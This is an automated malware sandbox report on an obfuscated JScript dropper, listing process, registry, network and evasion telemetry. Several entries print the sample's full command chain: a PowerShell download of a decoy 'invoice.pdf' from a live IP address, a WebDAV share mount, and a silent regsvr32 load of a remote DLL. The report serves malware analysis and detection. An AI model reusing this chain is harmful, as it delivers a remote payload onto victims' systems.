Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1405.js.csv");ITextStream.WriteLine(" entry:8710 f:cjalnv");ITextStream.WriteLine(" exec:2 f:cjalnv");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49746

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6638			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3258			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7676	Thread sleep count: 6638 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7676	Thread sleep count: 3258 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7716	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7740	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7912	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8168	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1417257943.0000025A56D98000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW$Js
Source: net.exe, 00000007.00000002.1417257943.0000025A56D98000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2655703593.0000024A6DE54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2654175042.0000024A6882B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1417257943.0000025A56D38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

